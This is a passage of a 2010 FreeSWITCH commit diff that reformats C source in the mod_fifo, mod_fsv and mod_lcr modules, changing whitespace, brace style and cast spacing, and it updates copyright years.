@@ -2167,7 +2168,7 @@
return SWITCH_STATUS_FALSE;
}
- if (zstr(cmd)){
+ if (zstr(cmd)) {
stream->write_function(stream, "-USAGE: %s\n", FIFO_MEMBER_API_SYNTAX);
return SWITCH_STATUS_SUCCESS;
}
@@ -2181,11 +2182,11 @@
stream->write_function(stream, "%s", "-ERR Invalid!\n");
goto done;
}
-
+
action = argv[0];
fifo_name = argv[1];
originate_string = argv[2];
-
+
if (action && !strcasecmp(action, "add")) {
if (argc > 3) {
simo_count = atoi(argv[3]);
@@ -2208,7 +2209,7 @@
if (lag < 0) {
lag = 5;
}
-
+
fifo_member_add(fifo_name, originate_string, simo_count, timeout, lag, expires);
stream->write_function(stream, "%s", "+OK\n");
} else if (action && !strcasecmp(action, "del")) {
@@ -2240,7 +2241,7 @@
}
/* Subscribe to presence request events */
- if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY,
+ if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY,
pres_event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't subscribe to presence request events!\n");
return SWITCH_STATUS_GENERR;
@@ -2250,10 +2251,10 @@
switch_core_hash_init(&globals.fifo_hash, globals.pool);
switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
switch_mutex_init(&globals.sql_mutex, SWITCH_MUTEX_NESTED, globals.pool);
-
+
globals.running = 1;
-
- if ((status = load_config(0,1)) != SWITCH_STATUS_SUCCESS) {
+
+ if ((status = load_config(0, 1)) != SWITCH_STATUS_SUCCESS) {
switch_event_unbind(&globals.node);
switch_event_free_subclass(FIFO_EVENT);
switch_core_hash_destroy(&globals.fifo_hash);
@@ -2287,24 +2288,24 @@
fifo_node_t *node;
switch_memory_pool_t *pool = globals.pool;
switch_mutex_t *mutex = globals.mutex;
-
+
switch_event_unbind(&globals.node);
switch_event_free_subclass(FIFO_EVENT);
-
+
switch_mutex_lock(mutex);
globals.running = 0;
/* Cleanup */
-
+
if (globals.node_thread_running) {
stop_node_thread();
}
-
+
while ((hi = switch_hash_first(NULL, globals.fifo_hash))) {
int x = 0;
switch_hash_this(hi, NULL, NULL, &val);
node = (fifo_node_t *) val;
-
+
switch_thread_rwlock_wrlock(node->rwlock);
for (x = 0; x < MAX_PRI; x++) {
while (switch_queue_trypop(node->fifo_list[x], &pop) == SWITCH_STATUS_SUCCESS) {
Modified: freeswitch/trunk/src/mod/applications/mod_fsv/mod_fsv.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_fsv/mod_fsv.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_fsv/mod_fsv.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -107,7 +107,7 @@
int fd;
switch_mutex_t *mutex = NULL;
switch_codec_t codec, *vid_codec;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
switch_core_session_get_read_impl(session, &read_impl);
switch_channel_answer(channel);
@@ -227,8 +227,8 @@
uint32_t ts = 0, last = 0;
switch_timer_t timer = { 0 };
switch_payload_t pt = 0;
- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_codec_implementation_t read_impl = { 0 };
+ switch_core_session_get_read_impl(session, &read_impl);
aud_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
vid_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
Modified: freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -122,7 +122,7 @@
switch_bool_t profile_has_intrastate;
switch_bool_t profile_has_intralata;
switch_bool_t profile_has_npanxx;
-
+
switch_bool_t reorder_by_rate;
switch_bool_t quote_in_list;
switch_bool_t info_in_headers;
@@ -173,21 +173,21 @@
char *src_regex = NULL;
char *dst_regex = NULL;
switch_channel_t *channel = NULL;
-
+
if (!zstr(cid)) {
len = strlen(cid);
} else {
goto done;
}
-
+
src = switch_core_strdup(pool, cid);
/* check that this is a valid regexp and split the string */
-
- if ((src[0] == '/') && src[len-1] == '/') {
+
+ if ((src[0] == '/') && src[len - 1] == '/') {
/* strip leading / trailing slashes */
- src[len-1] = '\0';
+ src[len - 1] = '\0';
src++;
-
+
/* break on first / */
dst = strchr(src, '/');
*dst = '\0';
@@ -216,12 +216,12 @@
switch_safe_free(tmp_regex);
dst = dst_regex;
}
-
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "expanded src: %s, dst: %s\n", src, dst);
}
-
+
if ((proceed = switch_regex_perform(number, src, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
- len = (uint32_t) (strlen(src) + strlen(dst) + 10) * proceed; /* guestimate size */
+ len = (uint32_t) (strlen(src) + strlen(dst) + 10) * proceed; /* guestimate size */
if (!(substituted = switch_core_alloc(pool, len))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Memory Error!\n");
goto done;
@@ -233,77 +233,71 @@
}
switch_regex_safe_free(re);
-
+
return substituted;
-
-done:
+
+ done:
switch_regex_safe_free(re);
return number;
}
-static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, char *caller_id, lcr_route cur_route, profile_t *profile, switch_core_session_t *session)
+static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, char *caller_id, lcr_route cur_route, profile_t *profile,
+ switch_core_session_t *session)
{
size_t lstrip;
- size_t tstrip;
+ size_t tstrip;
char *data = NULL;
char *destination_number = NULL;
- char *orig_destination_number = NULL;
+ char *orig_destination_number = NULL;
char *codec = NULL;
char *cid = NULL;
char *header = NULL;
char *user_rate = NULL;
orig_destination_number = destination_number = switch_core_strdup(pool, dialed_number);
-
+
tstrip = ((cur_route->digit_len - cur_route->tstrip) + 1);
lstrip = cur_route->lstrip;
-
+
if (cur_route->tstrip > 0) {
if (strlen(destination_number) > tstrip) {
destination_number[tstrip] = '\0';
- }
- else {
+ } else {
destination_number[0] = '\0';
- }
- }
+ }
+ }
if (cur_route->lstrip > 0) {
if (strlen(destination_number) > lstrip) {
destination_number += lstrip;
- }
- else {
+ } else {
destination_number[0] = '\0';
}
- }
+ }
codec = "";
if (!zstr(cur_route->codec)) {
codec = switch_core_sprintf(pool, ",absolute_codec_string=%s", cur_route->codec);
}
-
+
cid = "";
if (!zstr(cur_route->cid)) {
- cid = switch_core_sprintf(pool, ",origination_caller_id_number=%s",
- do_cid(pool, cur_route->cid, caller_id, session));
+ cid = switch_core_sprintf(pool, ",origination_caller_id_number=%s", do_cid(pool, cur_route->cid, caller_id, session));
}
-
+
header = "";
if (profile->info_in_headers) {
- header = switch_core_sprintf(pool, ",sip_h_X-LCR-INFO=lcr_rate=%s;lcr_carrier=%s",
- cur_route->rate_str,
- cur_route->carrier_name);
+ header = switch_core_sprintf(pool, ",sip_h_X-LCR-INFO=lcr_rate=%s;lcr_carrier=%s", cur_route->rate_str, cur_route->carrier_name);
}
-
+
if (zstr(cur_route->user_rate_str)) {
user_rate = "";
} else {
user_rate = switch_core_sprintf(pool, ",lcr_user_rate=%s", cur_route->user_rate_str);
}
-
- data = switch_core_sprintf(pool, "[lcr_carrier=%s,lcr_rate=%s%s%s%s%s]%s%s%s%s%s"
- , cur_route->carrier_name, cur_route->rate_str
- , user_rate, codec, cid, header
- , cur_route->gw_prefix, cur_route->prefix
- , destination_number, cur_route->suffix, cur_route->gw_suffix);
-
+
+ data =
+ switch_core_sprintf(pool, "[lcr_carrier=%s,lcr_rate=%s%s%s%s%s]%s%s%s%s%s", cur_route->carrier_name, cur_route->rate_str, user_rate, codec, cid,
+ header, cur_route->gw_prefix, cur_route->prefix, destination_number, cur_route->suffix, cur_route->gw_suffix);
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Returning Dialstring %s\n", data);
return data;
}
@@ -311,13 +305,13 @@
static profile_t *locate_profile(const char *profile_name)
{
profile_t *profile = NULL;
-
+
if (zstr(profile_name)) {
profile = globals.default_profile;
} else if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error invalid profile %s\n", profile_name);
}
-
+
return profile;
}
@@ -365,7 +359,7 @@
if (current->digit_str != NULL) {
if (current->digit_len > maxes->digit_str) {
maxes->digit_str = current->digit_len;
- }
+ }
}
if (current->rate_str != NULL) {
this_len = strlen(current->rate_str);
@@ -374,7 +368,7 @@
}
}
if (current->codec != NULL) {
- this_len= strlen(current->codec);
+ this_len = strlen(current->codec);
if (this_len > maxes->codec) {
maxes->codec = this_len;
}
@@ -393,13 +387,14 @@
{
switch_cache_db_connection_options_t options = { {0} };
switch_cache_db_handle_t *dbh = NULL;
-
+
if (!zstr(globals.odbc_dsn)) {
options.odbc_options.dsn = globals.odbc_dsn;
options.odbc_options.user = globals.odbc_user;
options.odbc_options.pass = globals.odbc_pass;
- if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
+ if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+ dbh = NULL;
}
return dbh;
}
@@ -430,23 +425,23 @@
db_random = "random()";
return SWITCH_TRUE;
}
-
+
return SWITCH_FALSE;
}
/* make a new string with digits only */
-static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
+static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
{
char *p, *np, *newstr;
size_t len;
- p = (char *)str;
+ p = (char *) str;
len = strlen(str);
- newstr = switch_core_alloc(pool, len+1);
+ newstr = switch_core_alloc(pool, len + 1);
np = newstr;
-
- while(*p) {
+
+ while (*p) {
if (switch_isdigit(*p)) {
*np = *p;
np++;
@@ -478,14 +473,10 @@
digit_len = strlen(digits);
digits_copy = switch_core_strdup(pool, digits);
-
+
for (n = digit_len; n > 0; n--) {
digits_copy[n] = '\0';
- dig_stream.write_function(&dig_stream, "%s%s%s%s",
- (n==digit_len ? "" : ", "),
- (quote ? "'" : ""),
- digits_copy,
- (quote ? "'" : ""));
+ dig_stream.write_function(&dig_stream, "%s%s%s%s", (n == digit_len ? "" : ", "), (quote ? "'" : ""), digits_copy, (quote ? "'" : ""));
}
ret = switch_core_strdup(pool, dig_stream.data);
@@ -496,42 +487,41 @@
/* format the custom sql */
static char *format_custom_sql(const char *custom_sql, callback_t *cb_struct, const char *digits)
{
- char * tmpSQL = NULL;
- char * newSQL = NULL;
+ char *tmpSQL = NULL;
+ char *newSQL = NULL;
switch_channel_t *channel;
-
+
/* first replace %s with digits to maintain backward compat */
if (cb_struct->profile->custom_sql_has_percent == SWITCH_TRUE) {
tmpSQL = switch_string_replace(custom_sql, "%q", digits);
newSQL = tmpSQL;
}
-
+
/* expand the vars */
if (cb_struct->profile->custom_sql_has_vars == SWITCH_TRUE) {
if (cb_struct->session) {
channel = switch_core_session_get_channel(cb_struct->session);
switch_assert(channel);
/*
- newSQL = switch_channel_expand_variables_escape(channel,
- tmpSQL ? tmpSQL : custom_sql,
- escape_sql);
- */
- newSQL = switch_channel_expand_variables(channel,
- tmpSQL ? tmpSQL : custom_sql);
+ newSQL = switch_channel_expand_variables_escape(channel,
+ tmpSQL ? tmpSQL : custom_sql,
+ escape_sql);
+ */
+ newSQL = switch_channel_expand_variables(channel, tmpSQL ? tmpSQL : custom_sql);
} else if (cb_struct->event) {
/* use event system to expand vars */
newSQL = switch_event_expand_headers(cb_struct->event, tmpSQL ? tmpSQL : custom_sql);
-
+
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_CRIT,
- "mod_lcr called without a valid session while using a custom_sql that has channel variables.\n");
+ "mod_lcr called without a valid session while using a custom_sql that has channel variables.\n");
}
}
-
+
if (tmpSQL != newSQL) {
switch_safe_free(tmpSQL);
}
-
+
if (newSQL == NULL) {
return (char *) custom_sql;
} else {
@@ -543,10 +533,10 @@
{
switch_bool_t retval = SWITCH_FALSE;
switch_cache_db_handle_t *dbh = NULL;
-
+
if (globals.odbc_dsn && (dbh = lcr_get_db_handle())) {
if (switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, NULL)
- == SWITCH_ODBC_FAIL) {
+ == SWITCH_ODBC_FAIL) {
retval = SWITCH_FALSE;
} else {
retval = SWITCH_TRUE;
@@ -562,23 +552,21 @@
lcr_route current = NULL;
callback_t *cbt = (callback_t *) pArg;
char *key = NULL;
-
+
switch_memory_pool_t *pool = cbt->pool;
-
-
+
+
if (argc < LCR_QUERY_COLS_REQUIRED) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
- "Unexpected number of columns returned for SQL. Returned column count: %d. "
- "If using a custom sql for this profile, verify it is correct. Otherwise file a bug report.\n",
- argc);
+ "Unexpected number of columns returned for SQL. Returned column count: %d. "
+ "If using a custom sql for this profile, verify it is correct. Otherwise file a bug report.\n", argc);
return SWITCH_STATUS_GENERR;
}
- if (zstr(argv[LCR_GW_PREFIX_PLACE]) && zstr(argv[LCR_GW_SUFFIX_PLACE]) ) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
- "There's no way to dial this Gateway: Carrier: \"%s\" Prefix: \"%s\", Suffix \"%s\"\n",
- switch_str_nil(argv[LCR_CARRIER_PLACE]),
- switch_str_nil(argv[LCR_GW_PREFIX_PLACE]), switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
+ if (zstr(argv[LCR_GW_PREFIX_PLACE]) && zstr(argv[LCR_GW_SUFFIX_PLACE])) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "There's no way to dial this Gateway: Carrier: \"%s\" Prefix: \"%s\", Suffix \"%s\"\n",
+ switch_str_nil(argv[LCR_CARRIER_PLACE]), switch_str_nil(argv[LCR_GW_PREFIX_PLACE]), switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
return SWITCH_STATUS_SUCCESS;
}
@@ -590,7 +578,7 @@
additional->suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_SUFFIX_PLACE]));
additional->prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_PREFIX_PLACE]));
additional->carrier_name = switch_core_strdup(pool, switch_str_nil(argv[LCR_CARRIER_PLACE]));
- additional->rate = (float)atof(switch_str_nil(argv[LCR_RATE_PLACE]));
+ additional->rate = (float) atof(switch_str_nil(argv[LCR_RATE_PLACE]));
additional->rate_str = switch_core_sprintf(pool, "%0.5f", additional->rate);
additional->gw_prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_PREFIX_PLACE]));
additional->gw_suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
@@ -603,7 +591,7 @@
additional->cid = switch_core_strdup(pool, switch_str_nil(argv[LCR_CID_PLACE]));
}
if (argc > LCR_USER_RATE_PLACE) {
- additional->user_rate = (float)atof(switch_str_nil(argv[LCR_USER_RATE_PLACE]));
+ additional->user_rate = (float) atof(switch_str_nil(argv[LCR_USER_RATE_PLACE]));
additional->user_rate_str = switch_core_sprintf(pool, "%0.5f", additional->user_rate);
}
additional->dialstring = get_bridge_data(pool, cbt->lookup_number, cbt->cid, additional, cbt->profile, cbt->session);
@@ -620,14 +608,12 @@
return SWITCH_STATUS_SUCCESS;
}
-
+
for (current = cbt->head; current; current = current->next) {
-
+
key = switch_core_sprintf(pool, "%s:%s", additional->gw_prefix, additional->gw_suffix);
if (switch_core_hash_find(cbt->dedup_hash, key)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
- "Ignoring Duplicate route for termination point (%s)\n",
- key);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Ignoring Duplicate route for termination point (%s)\n", key);
break;
}
@@ -647,13 +633,12 @@
if (current->rate > additional->rate) {
/* insert myself here */
if (current->prev != NULL) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding %s before %s\n",
- additional->carrier_name, current->carrier_name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding %s before %s\n", additional->carrier_name, current->carrier_name);
current->prev->next = additional;
} else {
/* put this one at the head */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Inserting %s to list head before %s\n",
- additional->carrier_name, current->carrier_name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Inserting %s to list head before %s\n",
+ additional->carrier_name, current->carrier_name);
cbt->head = additional;
}
additional->next = current;
@@ -665,7 +650,7 @@
break;
} else if (current->next == NULL) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "adding %s to end of list after %s\n",
- additional->carrier_name, current->carrier_name);
+ additional->carrier_name, current->carrier_name);
current->next = additional;
additional->prev = current;
if (switch_core_hash_insert(cbt->dedup_hash, key, additional) != SWITCH_STATUS_SUCCESS) {
@@ -683,7 +668,7 @@
{
int count = 0;
callback_t *cbt = (callback_t *) pArg;
-
+
count = atoi(argv[1]);
if (count == 1) {
if (!strcmp(argv[0], "state")) {
@@ -693,19 +678,19 @@
}
}
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Type: %s, Count: %d\n", argv[0], count);
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Type: %s, Count: %d\n", argv[0], count);
+
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t is_intrastatelata(callback_t *cb_struct)
{
char *sql = NULL;
-
+
/* extract npa nxx - make some assumptions about format:
- e164 format without the +
- NANP only (so 11 digits starting with 1)
- */
+ e164 format without the +
+ NANP only (so 11 digits starting with 1)
+ */
if (!cb_struct->lookup_number || (strlen(cb_struct->lookup_number) != 11 && *cb_struct->lookup_number != '1')) {
/* dest doesn't appear to be NANP number */
return SWITCH_STATUS_GENERR;
@@ -714,29 +699,28 @@
/* cid not NANP */
return SWITCH_STATUS_GENERR;
}
-
+
/* assume that if the area code (plus leading 1) are the same we're intrastate */
/* probably a bad assumption */
/*
- if (!strncmp(cb_struct->lookup_number, cb_struct->cid, 4)) {
- cb_struct->intrastate = SWITCH_TRUE;
- return SWITCH_STATUS_SUCCESS;
- }
- */
-
+ if (!strncmp(cb_struct->lookup_number, cb_struct->cid, 4)) {
+ cb_struct->intrastate = SWITCH_TRUE;
+ return SWITCH_STATUS_SUCCESS;
+ }
+ */
+
sql = switch_core_sprintf(cb_struct->pool,
- "SELECT 'state', count(DISTINCT state) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)"
- " UNION "
- "SELECT 'lata', count(DISTINCT lata) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)",
- cb_struct->lookup_number+1, cb_struct->lookup_number+4,
- cb_struct->cid+1, cb_struct->cid+4,
- cb_struct->lookup_number+1, cb_struct->lookup_number+4,
- cb_struct->cid+1, cb_struct->cid+4);
+ "SELECT 'state', count(DISTINCT state) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)"
+ " UNION "
+ "SELECT 'lata', count(DISTINCT lata) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)",
+ cb_struct->lookup_number + 1, cb_struct->lookup_number + 4,
+ cb_struct->cid + 1, cb_struct->cid + 4,
+ cb_struct->lookup_number + 1, cb_struct->lookup_number + 4, cb_struct->cid + 1, cb_struct->cid + 4);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", sql);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", sql);
- return(lcr_execute_sql_callback(sql, intrastatelata_callback, cb_struct));
-
+ return (lcr_execute_sql_callback(sql, intrastatelata_callback, cb_struct));
+
}
static switch_status_t lcr_do_lookup(callback_t *cb_struct)
@@ -752,26 +736,26 @@
char *safe_sql = NULL;
char *rate_field = NULL;
char *user_rate_field = NULL;
-
+
switch_assert(cb_struct->lookup_number != NULL);
digits_copy = string_digitsonly(cb_struct->pool, digits);
if (zstr(digits_copy)) {
return SWITCH_STATUS_GENERR;
}
-
+
/* allocate the dedup hash */
if (switch_core_hash_init(&cb_struct->dedup_hash, cb_struct->pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_ERROR, "Error initializing the dedup hash\n");
return SWITCH_STATUS_GENERR;
}
-
+
digits_expanded = expand_digits(cb_struct->pool, digits_copy, cb_struct->profile->quote_in_list);
-
+
if (profile->profile_has_npanxx == SWITCH_TRUE) {
is_intrastatelata(cb_struct);
}
-
+
/* set our rate field based on env and profile */
if (cb_struct->intralata == SWITCH_TRUE && profile->profile_has_intralata == SWITCH_TRUE) {
rate_field = switch_core_strdup(cb_struct->pool, "intralata_rate");
@@ -785,7 +769,7 @@
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "intra routing [state:%d lata:%d] so rate field is [%s]\n",
cb_struct->intrastate, cb_struct->intralata, rate_field);
-
+
/* set some channel vars if we have a session */
if (cb_struct->session) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "we have a session\n");
@@ -822,11 +806,11 @@
/* channel_expand_variables returned the same string to us, no need to free */
switch_safe_free(safe_sql);
}
-
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", (char *)sql_stream.data);
-
- lookup_status = lcr_execute_sql_callback((char *)sql_stream.data, route_add_callback, cb_struct);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", (char *) sql_stream.data);
+
+ lookup_status = lcr_execute_sql_callback((char *) sql_stream.data, route_add_callback, cb_struct);
+
switch_safe_free(sql_stream.data);
switch_event_safe_destroy(&cb_struct->event);
switch_core_hash_destroy(&cb_struct->dedup_hash);
@@ -848,16 +832,15 @@
switch_event_create(&event, SWITCH_EVENT_MESSAGE);
routes.event = event;
routes.pool = pool;
-
+
if (!(routes.profile = locate_profile(lcr_profile))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown profile: %s\n", lcr_profile);
return SWITCH_FALSE;
}
-
+
routes.lookup_number = "15555551212";
routes.cid = "18005551212";
- return (lcr_do_lookup(&routes) == SWITCH_STATUS_SUCCESS) ?
- SWITCH_TRUE : SWITCH_FALSE;
+ return (lcr_do_lookup(&routes) == SWITCH_STATUS_SUCCESS) ? SWITCH_TRUE : SWITCH_FALSE;
}
static switch_status_t lcr_load_config()
@@ -893,19 +876,16 @@
}
}
}
-
+
/* initialize sql here, 'cause we need to verify custom_sql for each profile below */
if (globals.odbc_dsn) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG
- , "dsn is \"%s\", user is \"%s\"\n"
- , globals.odbc_dsn, globals.odbc_user
- );
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "dsn is \"%s\", user is \"%s\"\n", globals.odbc_dsn, globals.odbc_user);
if (!(dbh = lcr_get_db_handle())) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
switch_goto_status(SWITCH_STATUS_FALSE, done);
}
}
-
+
if (set_db_random() == SWITCH_TRUE) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Database RANDOM function set to %s\n", db_random);
} else {
@@ -926,7 +906,7 @@
char *custom_sql = NULL;
int argc, x = 0;
char *argv[4] = { 0 };
-
+
SWITCH_STANDARD_STREAM(order_by);
for (param = switch_xml_child(x_profile, "param"); param; param = param->next) {
@@ -934,12 +914,12 @@
var = (char *) switch_xml_attr_soft(param, "name");
val = (char *) switch_xml_attr_soft(param, "value");
-
- if (!strcasecmp(var, "order_by") && !zstr(val)) {
+
+ if (!strcasecmp(var, "order_by") && !zstr(val)) {
thisorder = &order_by;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "param val is %s\n", val);
if ((argc = switch_separate_string(val, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
- for (x=0; x<argc; x++) {
+ for (x = 0; x < argc; x++) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "arg #%d/%d is %s\n", x, argc, argv[x]);
if (!zstr(argv[x])) {
if (!strcasecmp(argv[x], "quality")) {
@@ -976,37 +956,37 @@
quote_in_list = val;
}
}
-
+
if (zstr(name)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No name specified.\n");
} else {
profile = switch_core_alloc(globals.pool, sizeof(*profile));
memset(profile, 0, sizeof(profile_t));
profile->name = switch_core_strdup(globals.pool, name);
-
- if (!zstr((char *)order_by.data)) {
- profile->order_by = switch_core_strdup(globals.pool, (char *)order_by.data);
+
+ if (!zstr((char *) order_by.data)) {
+ profile->order_by = switch_core_strdup(globals.pool, (char *) order_by.data);
} else {
/* default to rate */
profile->order_by = ", ${lcr_rate_field}";
}
if (!zstr(id_s)) {
- profile->id = (uint16_t)atoi(id_s);
+ profile->id = (uint16_t) atoi(id_s);
}
-
+
/* SWITCH_STANDARD_STREAM doesn't use pools. but we only have to free sql_stream.data */
SWITCH_STANDARD_STREAM(sql_stream);
if (zstr(custom_sql)) {
/* use default sql */
- sql_stream.write_function(&sql_stream,
- "SELECT l.digits, c.carrier_name, l.${lcr_rate_field}, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix "
- );
+ sql_stream.write_function(&sql_stream,
+ "SELECT l.digits, c.carrier_name, l.${lcr_rate_field}, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix ");
if (db_check("SELECT codec from carrier_gateway limit 1") == SWITCH_TRUE) {
sql_stream.write_function(&sql_stream, ", cg.codec ");
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "codec field defined.\n");
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "codec field not defined, please update your lcr carrier_gateway database schema.\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "codec field not defined, please update your lcr carrier_gateway database schema.\n");
}
if (db_check("SELECT cid from lcr limit 1") == SWITCH_TRUE) {
sql_stream.write_function(&sql_stream, ", l.cid ");
@@ -1014,41 +994,38 @@
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "cid field not defined, please update your lcr database schema.\n");
}
- sql_stream.write_function(&sql_stream, "FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (");
+ sql_stream.write_function(&sql_stream,
+ "FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (");
sql_stream.write_function(&sql_stream, "${lcr_query_expanded_digits}");
sql_stream.write_function(&sql_stream, ") AND CURRENT_TIMESTAMP BETWEEN date_start AND date_end ");
if (profile->id > 0) {
sql_stream.write_function(&sql_stream, "AND lcr_profile=%d ", profile->id);
}
- sql_stream.write_function(&sql_stream, "ORDER BY digits DESC%s",
- profile->order_by);
+ sql_stream.write_function(&sql_stream, "ORDER BY digits DESC%s", profile->order_by);
if (db_random) {
sql_stream.write_function(&sql_stream, ", %s", db_random);
}
sql_stream.write_function(&sql_stream, ";");
-
+
custom_sql = sql_stream.data;
}
-
-
+
+
profile->profile_has_intralata = db_check("SELECT intralata_rate FROM lcr LIMIT 1");
if (profile->profile_has_intralata != SWITCH_TRUE) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
